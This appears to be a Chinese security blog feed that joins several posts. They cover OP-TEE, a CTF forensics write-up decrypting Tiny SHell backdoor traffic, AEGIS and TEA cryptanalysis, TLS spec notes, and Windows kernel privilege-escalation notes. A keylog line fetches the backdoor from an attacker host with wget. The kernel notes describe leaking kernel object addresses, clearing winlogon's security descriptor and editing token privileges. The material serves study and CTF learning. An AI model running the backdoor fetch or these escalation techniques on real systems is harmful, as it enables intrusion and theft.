在硬件方面,基于 ARM 的处理器使用 TrustZone 技术实现 TEE。TrustZone 使单个物理处理器内核能够安全有效地执行来自正常世界(如 Linux/Android 等富操作系统)和安全世界(如 OP-TEE 等安全操作系统)的代码。这允许高性能安全软件与正常的世界操作环境一起运行。TrustZone 实现了基于“状态”的内存和 IO 保护。即当处理器在安全状态/上下文(安全世界)中运行时,它对系统有不同的看法,并且可以访问通常无法从非安全状态/上下文(正常世界)访问的内存/外围设备. 当更改当前运行的虚拟处理器时,两个虚拟处理器上下文通过监控模式切换。
对于运行环境(软件层面)而言,此时会同时运行两种操作系统。我们常用的操作系统们被称为Rich Execution Environment (REE)
富执行环境,而安全运行环境则称为Trusted Execution Environment (TEE)
可受信任的执行环境。这两类环境都会以特权模式运行,而这上面的程序都是以用户模式的形式运行。当他们需要交互的时候,就会使用系统提供的API进行相互的调用。
TEE 需要软件和硬件(内置于处理器中)支持。这边主要就是介绍其中得软件实现——OPTEE
在现代得计算机场景下(尤其是手机)有可能会出现如下得场景:手机可能存储了很重要得个人信息,比如说个人得指纹,虹膜等等重要数据。这类数据得安全性和普通数据不能相提并论。为了解决这个问题,在这类机器上可以安装两个不同得OS:我们在同一个CPU上运行两个OS,其中一个OS只负责一些安全存储或者计算的操作,比如存储我们的指纹数据等。另一个OS就是我们平时用的OS,比如安卓系统,对于这个OS来说,安全OS是不可见的,所以根本没有权限获取到安全OS中的隐私数据。
OP-TEE,open source project Trusted Execution Environment (TEE), 开源可信执行环境。TEE
与Rich Execution Environment (REE)
相对应。REE
中运行的是non-secure OS
,我们所看到的系统,安卓,Linux系统等都运行在REE。TEE中运行的是secure OS
,他需要Arm TrustZone
技术的支持,依赖硬件设计,REE中的系统和应用是无法直接访问TEE中的资源的,只能通过TEE提供的接口获取一个结果,其间的运算和存储等操作对REE中的系统和应用都是不可见的,从而来保证安全性。
OPTEE本质上是在模仿进程间的交互,两个OS之间也需要交互,因此我们需要一种机制来访问安全OS的服务,也就是CA/TA这种调用机制。
https://timesys.com/security/trusted-software-development-op-tee/
]]>文件下载下来,可能看到一个叫做keylog的文件和一个pcap包,pcap包中数据流分成三个stream,分别包含如下内容
第一个stream表示ssh链接,不过ssh通信的内容肯定是加密的:
第二个stream是一个http请求包,似乎下载了文件
第三个stream看不太懂发生了什么
而keylog文件里面的内容如下:
1 | wget http://192.168.1.5:9999/bash |
首先我们分析题目,题目提到说,这是一个攻击者通过弱口令进入了受害者机器然后进行操作为背景的题目。所以这边的流量和keylog可以理解成是针对这么个场景进行分析的,那么此时,结合流量包和keylog,我们能够分析出如下条件:
于是整个题目大致的流程如下:
了解到这些初步信息之后,我们再对题目给出的信息进行进一步的分析
结合题目提示到的ssh侧信道,可以找到一个叫做packetStrider
的脚本,能够通过输入传输的时间,进行测信道分析。其中能够比较明显的区分Enter、Delete、普通字符输入这些。我们使用工具简单分析:
1 | ┏━━━━ Reporting results for stream 0 |
通过比对输入的字符的个数,可以验证ssh中的流量正是提供的keylog记录的数据。
然而比较有趣的是,第三行的输入似乎有过几次delete的痕迹,而delete从keylog中似乎没有体现出来。根据此时提供的工具,我们可以尝试还原攻击者链接ssh后进行的输入,可以得到如下的结果:
1 | wget http://192.168.1.5:9999/bash |
由于stream1中是一个http请求,我们可以尝试讲文件进行dump
很容易的可以发现,http请求了一个elf文件,这一步正好就是keylog中记录的第一步。于是我们简单逆向一下bash。
可以发现,这个bash文件很类似一个加密的shell,等待攻击者的机器与其通信。文件首先会尝试绑定本地的IP,并且将运行时的第一个参数作为密钥解密
在这个函数中,会有大量的通信逻辑,并且其中还加载着多个加密逻辑:
1 | do |
考虑到stream 2
我们还没有弄明白其含义,并且其中并没有包含任何明文。结合我们最终需要找flag的需求,很可能最终的flag存在于加密的通信内容中。于是此时我们需要简单的逆向bash的逻辑。
考虑到整个题目的通信比较完整,可能不是一个简单的bash程序,所以上网搜了一圈,找到了非常类似源码项目。这个项目的介绍是:
Tiny SHell - An open-source UNIX backdoor
项目文件中包含了aes、sha1等文件,基本上实锤了其中存在加密的成分。之后用PEiD简单查看,发现这个bash程序中,包含了md5和sha1两种签名算法(这是一个伏笔),于是结合着源码来看,很快就有了如下的分析:
结合这段分析,我们对整个题目有了更新的认识:
到了最后一步,此时已经明白了基本的目标,于是此时需要分析整个Tiny SHell通信过程中的加密流程。这边可以结合着代码和逆向结果来看:
由于此时Tiny SHell
作为一个部署在被攻击机器的正向shell,其首先会尝试去进行server端的初始化(因为是等待链接的),在源码中的形式为:
1 | int pel_server_init( int client, char *key ) |
对应到二进制程序:
1 | v2 = buffer; |
这一段可以对应源码中的 ret = pel_recv_all( client, buffer, 40, 0 );
,并且我们此时检查流量包,发现stream 2
的第一个流量包确实是40字节,验证了我们的猜想。
之后,根据源码,会去调用一个叫做pel_setup_context
的函数
1 | void pel_setup_context( struct pel_context *pel_ctx, |
然而这个地方,如果尝试逆向了二进制程序中,会发现此时调用的并不是sha1,而是md5(正好回收了之前的伏笔):
1 | RecvStatus = -6; |
这个地方是本题的一个坑点,如果无脑的使用了源码,那么最终的解密是一定会失败的。并且可以注意到,此时将发送包的前20字节用作生成recv密钥,后20字节用于生成send密钥。那么直到这一步,我们有如下结论:
之后的逻辑中,为了保证整个通信能建立成功,以及密钥为正确的密钥,此时会检查一个签名
1 | do |
这里可以看到,首先会接受长度为16字节的字符,然后将其传入sub_11A0
,一同操作之后得到的buffer需要和encode_sign
进行比较,从而验证整个通信过程中的密钥是否正确
1 | .data:0000000000210130 encode_sign xmmword 0ED417AFD387B717304ED8580F0B30E9Ah |
这边的签名也被出题人该过,所以不能完全信赖源码啊
可以注意到,在进行签名比较之前,程序会调用函数sub_11A0
,这个函数比较长,可以结合着源码看:
1 | unsigned char temp[16]; |
大致的逻辑就是:程序接受的16字节字符串,使用我们之前生成的recv密钥进行解密(解密方式为类似cbc的模式),并且解密解开的buffer中,前两个字节表示当前输入的长度。如果输入的长度超过固定大小,则同样视为解密失败。如果长度解密完成之后,还要进行完整性校验:
1 | /* verify the message length */ |
这边会根据本应传输的buffer长度,直接跳转到buffer的尾部,然后并且用之前生成的密钥进行消息的验证。完成确认之后,最终会对整个传输的数据进行解密:
1 | /* finally, decrypt and copy the message */ |
于是在完成这一大段分析之后,我们可以得到Tiny SHell的一个基本的传输协议:
1 | content_length(2 byte)+content_encrypt(length byte)+hmac(20 byte) |
在完成了数据解密之后,程序会去check当前解密的数据和encode_sign
是否相等, 从而完成检查。(还剩一小段见下)
回到流量包,可以看到目前的流量传输形式如下:
红色部分的是攻击机器往受害者机器通信的流量,蓝色的则是受害者机器回复攻击机器通信的流量,看起来整个流量通信中似乎bash也有往攻击机器发送流量的部分。会看刚刚的challenge逻辑,可以看到我们还有一小段没有分析:
1 | buffer[35] = qword_211BB8; |
结合上文分析,这边将我们的challenge(也就是encode_sign
)向客户端发送。此时发送也有一个函数,不过此时使用的是send密钥进行加密。于是上图中的问号部分也可以解开了,是server用于和client通信的数据包。
于是整个challenge流程可以写作如下:
encode_sign
,相等之后,将这个验证过程发送到client,最终完成验证在前面几个步骤中,我们已经理清了整个加密流程,于是我们利用源码,可以简单的改造一下,写一个解密脚本
1 |
|
对比此时的流量图如下:
此时要记住,红色的流表示的是攻击者发送到受害者的包,蓝色的流表示的是受害者发向攻击者的包,在记住了这个之后,我们就能知道,
packet425和427两个包,表示的是攻击者企图从受害者电脑上偷取的文件名字,也就是一个类似get的函数。并且在源码中也能找到类似的函数:
1 | int tshd_get_file( int client ) |
于是最终的flag很明显了,就是此时从受害者主机上偷走的文件!
所以最后我们根据整个解密代码,以及解析流量包,可以将main函数完善如下:
1 | int main() |
最终解密发现文件是一个jpeg文件,打开后得到最终的flag
至此,整个题目解密完成
遇到这个题目的时候,实际上比赛已经结束了,然而整个题目非常之巧妙,当发现最终的flag【来自于受害者主机】的时候,感觉真的有一种要拿到宝藏的感觉。misc题目设计最困难的就是诱导选手去思考题目,而这边将三个考点分别藏在了同一个流量包的三段stream上,做起来一气呵成,没有太多需要脑洞的地方,实属misc脑洞横飞中的一股清流。
misc题目这个方向下的取证题目质量通常参差不齐,而本题基本上是模拟了一个现实场景中,针对攻击者的简易攻击,进行取证,信息搜集,协议分析,逆向,加密协议破解等均进行了考察,笔者从这边了解到了不少的知识,感觉受益匪浅。
最后不多说了,吹爆出题人就完事儿了~
]]>整个出题的题目参考了googlectf 2020 Oracle的题目。由于考虑到比赛时长的问题(其实是作者比较菜),基本上是将其中的一个考点拿了出来修改成了当前的题目。针对那个题目比较完整的解法可以参考这里 这个地方也有这个算法的比较详细的解释。
AEGIS 算法是一种AEAD(authenticated encryption with associated data 关联数据的认证加密) 加密。这种算法除了能够提供对指定明文的加密,还能够提供对未加密的关联数据的完整性保证。说通俗一点就是,除了能够对我们发送的需要加密的信息进行加密,同时还提供了对我们明文信息的长度和时间这些未加密的数据进行验证的手法。当我们将密文解开的时候,会包含一个之前提供的明文信息的验证途径,例如能够得到长度的一个验证数据,我们此时就能够用这个数据验证我们之前未加密的长度的完整性。
在题目中,我们能看到两种不同的值:pt和aad
1 | ct, tag = cipher.encrypt(iv, aad, pt) |
此处的pt表示的就是我们通常意义下的明文,而这里的aad,实际上就是authenticated associated data
,认证关联数据。这个数据会参与到整个加密过程中,用于生成状态。
ct表示的是加密后的密文,tag则是在加密完成后的状态算法中生成的校验标签,可以用来校验aad的值是否发生变化。
关于aad的验证算法可以初步看一下加密过程。
1 | def encrypt(self, iv, ad, msg): |
由于在加密或者解密过程中,aad值参与了最初加密状态的生成,所以aad值在不变的前提下,加解密中状态(State)变化是一致的,最后阶段算出来的 tag2 理论上会和我们传入的tag一致,就是利用这一点来保证aad的完整性。
想要明白当前的算法的漏洞,需要先看明白当前加密算法原理。整个加密中会维护一个状态的概念,然后我们需要加密的内容会类似一些向量来影响整个状态,从而对明文完成加密。那么首先,为了更加方便的描述加密过程,我们需要预先定义一些变量:
1 | S[i]: 第i步更新的状态 |
Aegis有三种不同的加密方式,我们这里使用的是128版本
Aegis加密算法中,一个重要的概操作就是状态更新StateUpdate。当这个过程发生的时候,其更新算法如下:
1 | m: 一个128bit的信息 |
这个更新过程的流程大致可以写作如下:
整个算法的更新,首先使用密钥K128与初始化向量IV128进行一些运算,最终产生整个算法的初始状态。此时的K128为我们加密算法的密钥,IV128为一个可变的向量。整个生成的过程可以写作:
1 | def initialize(self, iv): |
根据代码,我们可以写作:
1 | S[-5][0] = k128^iv128 |
这里写作-4,主要是为了可以同步,保证我们在起始状态下为S[0]
。
我们来仔细看一下Aegis中的AES算法。首先来看到官方给出的aes:
1 | def aes_enc(s: block, round_key: block) -> block: |
te0[s[0]],te1[s[1]]
这些就相当于是s盒,按照s0,s5,s10,s15
这种顺序取值相当于是行位移(shift),取值进行异或就相当于是列混淆(mix_column)。整个过程我们大致写下来就是:
1 | AES(m) = mix_column(shift(Sbox(m))) |
实际上就是AES加密算法中,除去密钥交换这一步之后的剩余步骤。并且我们知道,整个Aegis加密中,AES参与的方式为:
1 | if j != 0 |
于是我们可以简写成如下的运算:
1 | if j != 0 |
那假设此时,我们的M发生了一些变化,我们这里将变化的差值写作dM
,此时有
1 | M1 = M^dM |
对M1的加密就可以写成:
1 | if j != 0 |
C1、C均为我们可以得到的具体值,如果我们能够通过控制加密的内容,使得dM可控(之后会展示)我们就有机会能够推导出M的值。具体的做法如下:
1 | 1. 将C1^C,此时消除了m的影响,存在公式 |
然而实际上,Sbox运算是可以被爆破的。假设我们能知道dM,那我们只需要爆破16个字节,最终就能推导出M的值
由于Aegis128加密中的最小单位为128bit,也就是16字节,所以加密之前会将当前的明文填充至16的倍数。之后,每16个字节的加密手法如下:
1 | for i in range(0, len16(msg), 16): |
注意一个细节,这边为了防止S0的参与导致加密算法被利用,所以在加密过程中故意抛弃了S0。
加密结束之后,更新当前状态块。这里参考一个图可能会更加清晰:
p[i][0]
为我们按照16字节分组的第i组明文输入,k[0][0]
表示第0组的明文加密得到的密文。这里注意,我们的明文的第0组实际上参与了第一组密文的生成,并且还影响了第1组的状态。图上的红框表示的就是,当我们的输入p[0][0]
发生变化的时候,实际上会影响的状态。从图上可知,当输入p[0][0]
变化的时候,实际上会影响的是:s[1][0], s[2][0], s[2][1], k[2][0](这个地方应该写作k[2],可能是图片作者写错了)
参考源码:
1 |
|
加密流程中,IV和key都不会更新,并且加密7次。最终目的是让我们求出当使用了空的aad进行了StateUpdate状态后得到的初始状态,也就是状态S[1]
。
这一类IV、key不发生变化的题目,其实传达的一个含义就是加密算法本身是不变的,即是说对于加密算法C = F(m)
,这个F是不变量,而此时的m和C都是已知的,就有机会构造合适的m,从而泄露F中的一些信息
这里重新展示一下之前用来描述加密的那张图,这里我们着重关注的是变化值:
可以看到,当p[0][0]
变化的时候,s[1][0], s[2][0], s[2][1], k[2]
均会收到影响。这里我们复习一下这几个值的关系:
1 |
|
S[1][0]
并不参与到整个加密过程中,所以不会对加密本身有影响,因此k[1]
的值不发生变化kd[2]
虽然发生了变化,但是其变化仅仅是因为S[2][1]
发生了变化,因为在StateUpdate中,只有S[2][1]
会受到输入的影响,其他的状态并不收到当前的输入状态影响:这里我们将变化后的p写作dp
,并且满足dtp = dp^p
,发生了相应变化的变量都加上d
的前缀,于是此时有:
1 | kd[2] ^ k[2] = S[2][1] ^ Sd[2][1] = AESRound(S[1][0])^AESRound(Sd[1][0]) |
此时我们的kd[2] ^ k[2]
是已知量。而我们此时知道
1 | (5)AESRound(S[1][0])^AESRound(Sd[1][0]) = Sbox(S[1][0])^Sbox(Sd[1][0]) |
由于(6)中,S[0][0], S[0][4]
在IV和key不变的情况下,即使我们更改p也不会发生变化,所以实际上可以推出
1 | (7)Sd[1][0]^S[1][0] = p[0][0]^dp[0][0] = dtp[0][0] |
于是我们可以将(5)推到成
1 | (8)Sbox(S[1][0])^Sbox(Sd[1][0]) = Sbox(S[1][0])^Sbox(S[1][0]^dpt[0][0]) = kd[2]^k[2] |
在(8)这个算式中,dpt,kd,k
三个值我们都知道,于是我们只需要爆破S[1][0]
中的16字节即可。
不过经过测试,直接爆破是存在多解的情况,所以我们可以增加一个变化,也就是dpt2,两次的结果综合考虑。经过测试,这种方式能够得到唯一的S[1][0]
1 | def resolve(dk_1, ds_1, dk_2, ds_2): |
由于我们有7次通信机会,目前可以如下安排
k[0],k[1],k[2],k[3],k[4]
,此时我们可以将p
设置为全0,这样的话能够帮助我们之后更加方便的进行计算S[1][0]
S[2][0]
S[3][0]
我们可以如法炮制,通过修改p[1][0],p[2][0]
,得到S[2][0],S[3][0]
。此时我们有公式:
1 | (3)S[2][0] = AESRound(S[1][4])^S[1][0]^p[1][0] ==> 直接逆运算,可得S[1][4] |
此时我们就有了S[1][0], S[1][3], S[1][4]
,并且题目中泄露了S[1][2]
,所以我们最终利用
1 | (11)C[1] = (S[2][0] & S[3][0]) ^ S[1][0] ^ S[4][0] ^ pt[0] |
就能得到最后的S[1][1]
,此时整个题泄露完成。
1 | import aes |
总的来说,这次出题经历逼迫自己成功学习了密码学的技巧,感觉还是有收获的。最后也是自己逼着自己总结了一份官方wp,估计等官方博客的travis修好了就能部署好了吧(?)。回顾今年,似乎做了不少密码学的题目,甚至还分析了一个相关的CVE,感觉慢慢也是点开了一个新的技能树呢。
]]>自从进入了https时代,网络通信终于也不用再裸奔了。实现这一切的就是TLS协议,TLS(Transport Layer Security)以及老版本SSL(Secure Sockets Layer),是一个应用层的协议,这个协议会帮助通信的双方进行一次密钥协商,并且对之后的通信内容进行加密。这个协议广泛的应用于各种应用上,包括web浏览器,邮件,各类即时通讯等。TLS保护的是服务器与客户端通信过程中的流量。
TLS协议的主要目标是在两个通信应用程序之间提供隐私和数据完整性。该协议由两层组成:TLS记录协议 Record Protocol和TLS握手协议 Handshake Protocol。 TLS记录协议位于最底层,位于某些可靠的传输协议(例如TCP )之上。 TLS记录协议提供了具有两个基本属性的连接安全性:
TLS记录协议用于封装各种更高级别的协议。 TLS握手协议就是这样一种这样的封装协议,允许服务器和客户端进行身份验证,并在应用协议发送或接收其第一字节数据之前协商加密算法和加密密钥。 TLS握手协议提供具有三个基本属性的连接安全性:
TLS的一个优点是它与应用程序协议无关。高层协议可以透明地在TLS协议之上分层。 但是,TLS标准未指定协议如何通过TLS添加安全性; 有关如何启动TLS握手以及如何解释交换的认证证书的决定,由运行在TLS之上的协议的设计者和实现者来决定。
TLS协议的目标按优先级顺序如下:
[[]]
双中括号括起来在这篇文档中,我们将一些具有类似含义的数据流定义为向量(也就是通常意义上的数组)。这些向量的大小通常以如下的形式声明:
1 | T T'[n] |
这里我们定义了一个T类型的向量T’,T’总共占了n个字节
在之后的文章中我们协定,当定义数据的时候,那个数组的大小定义的实际上是bytes的数量,而非元素的个数,这点和通常的C语言定义不同,例如:
1 |
|
如上,Datum占用了三个字节,并且这里协议并未解释其作用,这边的Data总共占用了9个字节,实际上是三个Datum数据。
可变长度向量是通过指定有效长度的子范围(包括端值)来定义的,包括符号<floor..ceiling>
。 对它们进行编码时,实际长度在字节流中位于矢量内容之前。 该长度将采用数字形式,该数字消耗保持矢量指定的最大(上限)长度所需的字节数。 实际长度字段为零的可变长度向量称为空向量。
1 | T T'<floor..ceiling>; |
在下面的示例中,mandatory是一个向量,必须包含300到400个不透明类型的字节。 它永远不能为空。实际长度字段消耗两个字节uint16,这足以表示值400(请参见第4.4节)。 另一方面,更长的时间可以表示最多800个字节的数据或400个uint16元素,并且它可能为空。 它的编码将包括在向量之前的两字节实际长度字段。 编码向量的长度必须是单个元素长度的偶数倍(例如,uint16的17字节向量是非法的)。
1 |
|
TEA(Tiny Encryption Algorithm)微型加密算法是一种易于描述的基于块的加密手法。通常来说,TEA加密算法会作用在两个32bit的无符号整数上,并且会使用一个128bit的数字作为密钥。其拥有一个叫做Feistel 结构的密码学结构。这种密码学结构通俗的来讲就是会将加密的plaintext分成L、R两部分,并且满足
这种交换式的加密方式的一种结构。
TEA加密算法使用了64轮的加密算法结构,并且是成对的执行加密轮次。在加密周期中,每个密钥都是按照相同的轮次进行密钥的混合,从而完成加密。这个加密算法中为了防止基于轮询过程中的可能发生的攻击,使用了黄金分割律数字转换的一个数字 2654435769 (0x9E3779B9)作为魔数。
值得注意的是,TEA算法中的密钥中存在缺陷。每一个key都等效于其他算法中的三个key,这意味着实际上key中只有126bit会生效。因此,TEA算法的散列性能不好。这个弱点甚至导致了Xbox被黑客攻击。并且TEA容易受到密钥相关攻击,这需要在相关密钥对下选择 个明文,并且具有 的时间复杂度 ———— 摘自wiki,没太看懂
算法加密过程可以用一个图简单的说明:
输入一定要是一个64bit的数字,或者可以写作一个拥有两个元素的32bit的数组。,并且需要一个两倍长度的key(int[4]
)。整个加密流程如下:
1 |
|
有几个重要的特征
由于是一个类似delta状态变化+异或加密的过程,所以整个流程反过来写即可得到解密
1 | void decrypt (uint32_t v[2], const uint32_t k[4]) { |
整个加密算法同样也适用于ECB,CBC等加密模式。
1 | The TEA Hash |
在密码学中,单向压缩函数(one-way compression function)是将两个固定长度的输入转换为固定长度的输出的功能。该转换是“单向”的,这意味着在给定输出的情况下,很难反向计算压缩前的输入。单向压缩函数与普通的数据压缩算法无关,而可以将其准确地(无损压缩)或近似(有损压缩)转换为原始数据。
单向要锁函数通常是由块加密算法变形而来的,一种常见的就是Davies–Meyer
算法。该算法将消息的每个块(mi)作为加密算法的密钥。 它将上一次加密生成的哈希值(Hi-1)作为要加密的明文输入。 之后,将输出密文与上一个哈希值(Hi-1)进行异或(⊕),以产生下一个哈希值(Hi)。 在第一轮中,如果没有以前的哈希值,它将使用一个恒定的预先指定的初始值(H0),算法可以写成
其中的可以理解成使用mi块作为密钥的加密算法
TEA整个算法和密钥密切相关,这种算法我们称为密钥相关算法。这类算法如果密钥在加密过程中处理不当,很容易就会引发密钥相关攻击,感兴趣的可以看这边原理可以看这边,概括的说就是,TEA算法中的每一个密钥都会有其他三种相同的密钥。大致可用如下方式理解:
1 | v0 += ((v1<<4) + k0) ^ (v1 + sum) ^ ((v1>>5) + k1); |
v1那一段也同理。
上述的逻辑,我们可以简写成:
其中为常量。设此时我们让k0和k1的变化为,变化后的我们写作,此时有公式:
如上,如果我们想要保证,一个最好的办法就是让这个异或过程发生的变化被抵消掉。根据原理我们可以知道,如果将k0和k1的最高bit同时进行翻转,那么这个变化将会有1/2的概率被抵消
如果TEA算法被当作基于Davies–Meyer的hash算法的话,就很容易因为散列度不足导致碰撞发生。
在这边提到了关于TEA算法错误使用的例子。这里提到了Xbox和Reiserfs都错误的使用了TEA算法,虽然xbox的源码我们找不到了,但是我找到了Reiserfs中使用TEA的源代码,其中关键的如下:
1 |
|
可以看到,这里将输入作为了加密算法的密钥。我们可以按照前文提到的攻击手段,给出如下的例子:
1 | int main() |
此时会发现,两个key会得出同样的hash值。Xbox当年就是因为错误的使用TEA作为hash函数,从而导致原先从ROM加载的bootloader地址被修改成从RAM加载,从而绕过了相关安全固件的检查,感兴趣的可以看这里(如果将来有空,可以帮忙翻译一下这类文章,感觉非常有的有趣)
为了解决TEA算法中的密钥相关攻击,TEA的设计者提出了XTEA(eXtended TEA)算法来解决之前的密钥相关攻击问题。
1 |
|
可以看到相较之前,发生了如下的变化:
((v1<<4) + k0) ^ ((v1>>5) + k1)
变化成了 ((v1 << 4) ^ (v1 >> 5)) + v1)
,此时v1内部数据的加密变化不再受到密钥的影响。v1 + sum
变成了(sum + key[sum & 3])
以及sum + key[(sum>>11) & 3]
,密钥变成了轮转使用,而不是固定只针对某种数据进行加密(解密)。并且此时密钥的选取受到sum的影响sum += delta
的时机由每次加密开头就发生变化到v0,v1两个block加密的中间。这些变化帮助XTEA摆脱了一些密钥相关攻击,不过同时诞生了一种叫做TEA 块加密的加密手法。这种手法作用在一些可变长的数据中(XTEA默认用于64bit长的数据)。这中加密使用XTEA的轮转加密函数(就是上述的加密流程),但是却将同一段消息进行多次迭代加密。因为它对整个消息进行操作,所以块加密具有不需要ECB、CBC那些分组密码加密的属性。然而这个方式给XTEA本身引入了漏洞,如下
1 | void teab1_encrypt(long *v, long n, long *k) |
这类加密算法本身虽然套用了XTEA,不过总的来说也是属于一种错误使用,所以给了暴力破解的可能。感兴趣的可以参考这里
在经历了块加密的问题之后,XTEA再度进化, 变成了支持块加密XXTEA
。
这次的加密代码如下:
1 |
|
可以看到是由之前提到过的块加密衍生的一种写法。并且作者给出了这种算法的优势:
不过即使这样,这个算法似乎还是存在选择明文攻击的可能。感兴趣的可以自行搜索。
这类算法比较常见于逆向中,在分析二进制文件中的算法的时候有几个识别的特征:
(z>>5^y<<2)
这类混合变换)key[(sum>>11) & 3]
)解决逆向题大部分出现TEA的场合都是【识别算法->编写对应解密程序】,将上述的算法进行逆推即可得到解密。
这个题目里面的TEA是出题人魔改过的:
1 | if ( (signed int)v34 <= 15 ) |
上述加密
而且玩了一个小花招:这段逻辑并不会一开始就出现在main函数中,而是在执行的时候,从.init_array
取出的函数会将main函数的后方逻辑修改成这个函数的入口。整体逻辑比较偏长,不过可以辨认应该是魔改的XXTEA,并且每16个字节为一组进行的加密。这个题有几个小坑
不过识别出这些坑之后,由于我们知道TEA算法实际上是满足Feistel 结构
的算法。这一类算法在已知key的情况下,必定是可以反推的。通过观察我们可以知道,v4[15]
正好是最新的一个状态,所以可以从这个状态往回进行推理。题目中的key就藏在了文件中,于是最终解密代码我们可以写成:
1 | uint32_t DeryptoLoop(unsigned int num1, unsigned int num2, uint32_t sum, uint32_t index) |
最初只是想作为一个笔记记录一下学习过程,然而后来发现TEA的演进过程十分有趣,不能知其然而不知其所以然,为啥TEA算法最后会被淘汰呢?我觉得了解这些事情能够帮助我们更加深入的去理解这个算法,也能帮助我们更好的去回顾过去发生过的那些黑客故事。有机会的话应该会把那个Xbox破解的事情给翻译一下~
Wiki TEA
Wiki XTEA
Wiki XXTEA
Wiki-Tiny_Encryption_Algorithm
Xbox_Security_System_With_TEA_Hash
其实很多的漏洞利用,最终都是为了转换成这个漏洞——任意位置读写。所以我们首先要有一个概念就是,当我们获得了一个WWW类型的漏洞的时候,我们需要做什么。这里我们借助这一篇文章一起来学习一下
当我们通过IOCTL等各种方式与内核模块发生了交互的时候,我们实际上就拥有了从usermode向kernelmode发起交互的能力,这个时候其实就类似在用户态能够进行交互。所以当我们能够拥有一个WWW漏洞的时候,实际上我们希望做到的事情是
能够将一个由我们控制的进程权限,提升到我们想要让它达到的权限上去
非常重要的一点是,我们需要明白此时的我们需要的目的是什么。也就是说
并不是单纯追求system shell,而是在保证系统稳定的前提下,获得我们想要的权限
这点很重要。前几次的攻击练习中,我单纯的以为kernel exploit
就是将某个进程的PROCESS TOKEN复制到当前进程
。如果需要做到这一步的话,那么实际上意味着我们此时的攻击需要能够执行shellcode。类比一下的话,就好像在玩linux pwn题,然后此时我们非要获得一个函数指针,或者是关闭了NX
的栈溢出,然后等待着jmp esp
之类奇怪指令的出现。
但是!如果我们只是为了获得想要的权限的话,不如从源头出发,也就是考虑Windows下的各种权限都是怎么得到的呢?。进一步来说,为什么winlogon.exe
这个程序的权限这么高,而我们自己启动的cmd.exe
能做到的事情那么少,但是为什么windbg.exe
却好像能够跨过某些障碍进行调试呢?其实这就是之前博客中提到过的Windows权限管理实现的。简单来说,就是以下两个特性:
这两个特性控制了Windows下的权限,而当我们想要进行越权操作的时候,实际上我们就是企图控制一个进程的权限控制模块。于是,当获得了一个WWW
类型漏洞,我们实际上应该是尝试修改当前进程的权限管理对象,说白了,也就是一些存放在内核中的系统变量。
Windows的NtQuery*
API系列其实能做的事情比他文档中写出来的多得多,其中最厉害的就是这个NtQuerySystemInformation
,这个API能够返回一些系统级别的内存对象,例如:
简直就像是一个后门函数了(笑)
这里我们关注一个叫做SystemHandleInformation
类型的数据,通过传入这个参数,我们能够获得当前进程中的每一个句柄的使用情况:
1 | NtQuerySystemInformation((SYSTEM_INFORMATION_CLASS)SystemHandleInformation, buffer, 0x20, &outBuffer); |
其中句柄的结构长这个样子:
1 | typedef struct _SYSTEM_HANDLE_INFORMATION |
这个地方记录了当前进程中,所有会使用到的句柄。注意是所有,换句话说,有些句柄可能并不是当前进程打开的,也会记录在这边(之后会举例)。句柄的结构体如下:
1 | typedef struct _SYSTEM_HANDLE_TABLE_ENTRY_INFO |
之前的博客中有提到过,Windows大部分时候都是直接使用句柄这个概念与上层进行交互的,不过通过这个结构体,我们就能够直接拿到句柄真正对应的对象,然后对句柄对应的内容进行修改。
上述可以看到,那个ObjectTypeNumber
其实表示的是当前句柄的类型,不过我上网查到的很多资料都有问题,所以这里我们自己整理一份对应关系。首先这边的大佬帮忙整理了在Win10中,不同的Object在内存中的组织形式发生了什么样的变化,简单来说,在早期的windows系统中,通过查看_OBJECT_HEADER
是能够知道当前的对象类型的,但是win10修改了,其计算放在这个函数上:
1 | 1: kd> uf nt!ObGetObjectType |
稍微逆向一下就知道,现在想要通过_OBJECT_HEADER
知道当前对象的类型,就得用这个算式:
1 | nt!ObTypeIndexTable[(当前objectheader的地址的第二个字节^TypeIndex^poi(nt!ObHeaderCookie)最低字节)*4] |
这里举个例子。比如我们想要知道的TOKEN
这个对象的objectheader长这样:
1 | 1: kd> dt _Object_header 8bfd1888 |
那么我们此时计算的值就是:
1 | 1: kd> ? (0x18^0x8e^0x93) |
最终我们检查内存中的形式:
1 | 1: kd> dt nt!_object_type poi(nt!ObTypeIndexTable + (0x5*4)) |
这个object确实是token,证明了我们的猜测。
并且我们可以看到,这个计算的结果5其实正好就是ObjectTypeNumber
,所以我也整理了一遍这个ObjectTypeNumber
,这次只用在win10上
1 | typedef enum _SYSTEM_HANDLE_TYPE |
后面还有好多。。。等用到时候再列出来吧。。。
我们之前提到说,想要提权,可以从如下两个角度去入手:
那假设我们可以控制一些变量来修改这个值(而不是通过控制kernel code的执行),我们可以从如下的角度去考虑
其中第一条是针对Access Right
的攻击手段,第二三条则是Privilege
的相关攻击手段。那么我们一条条来分析可行性
Windows底下有一条很有趣的规矩:
如果一个对象的ACLs是空的,那么这个对象将被视为可以被任意权限的任意对象进行任意访问。而如果ACLs被初始化为空(empty),那么将视为当前对象没有被赋予任何的被访问的权限,所以不能被任何对象以任何权限访问
总的来说,区别就体现在结构体的这个地方:
1 | 1: kd> dt _Object_header 8bfd1888 |
SecurityDescriptor
这个对象当指向的内容为空的时候,就是我们提到的第一种情况,也就是当前对象变成可以被任意对象访问。
我们知道,winlogon.exe
这个进程的权限特别的高,那我们能不能通过找到这个进程的EPROCESS
对应的object_header
,将其中的DACL给改成空的,就能够实下代码注入了呢?我们这边稍微实验一下:
1 | // first, we should open target process on our processPROCESSENTRY32 entry; |
结果如下:
1 | KDTARGET: Refreshing KD connection |
非常遗憾,没有生效,上网检查了一下,发现其实是Win10给出的一种攻击的缓解手段。在Win10上,EPROCESS这个对象的_OBJECT_HEADER
中指向DS的指针是不能为空的,否则就会报错,具体可以看这里。这篇文章还介绍了一下如何绕过这个防护,继续利用dacl进行攻击。利用的思路就是修改成了:通过修改winlogon.exe中的AECs,让其进程允许来自任意SID token 的用户修改,然后再进行inject即可。具体可参考链接里面给出的方法,这边暂时就不演示(虚拟机崩的太多了,心态崩溃)
前面介绍了ACL的攻击方式,那么这次我们回到TOKEN上面,介绍一下修改token的攻击。之前我们提到说,想要提权,其实就是修改这个TOKEN结构体的成员变量。这个结构体在WIN10中结构如下:
1 | 1: kd> dt nt!_TOKEN |
这其中最关键的就是
1 | +0x040 Privileges : _SEP_TOKEN_PRIVILEGES |
这个位置记录了当前进程的特权。特权的结构如下:
1 | nt!_SEP_TOKEN_PRIVILEGES |
之前提到过,Windows再运行过程中,实际上是检查了Enabled
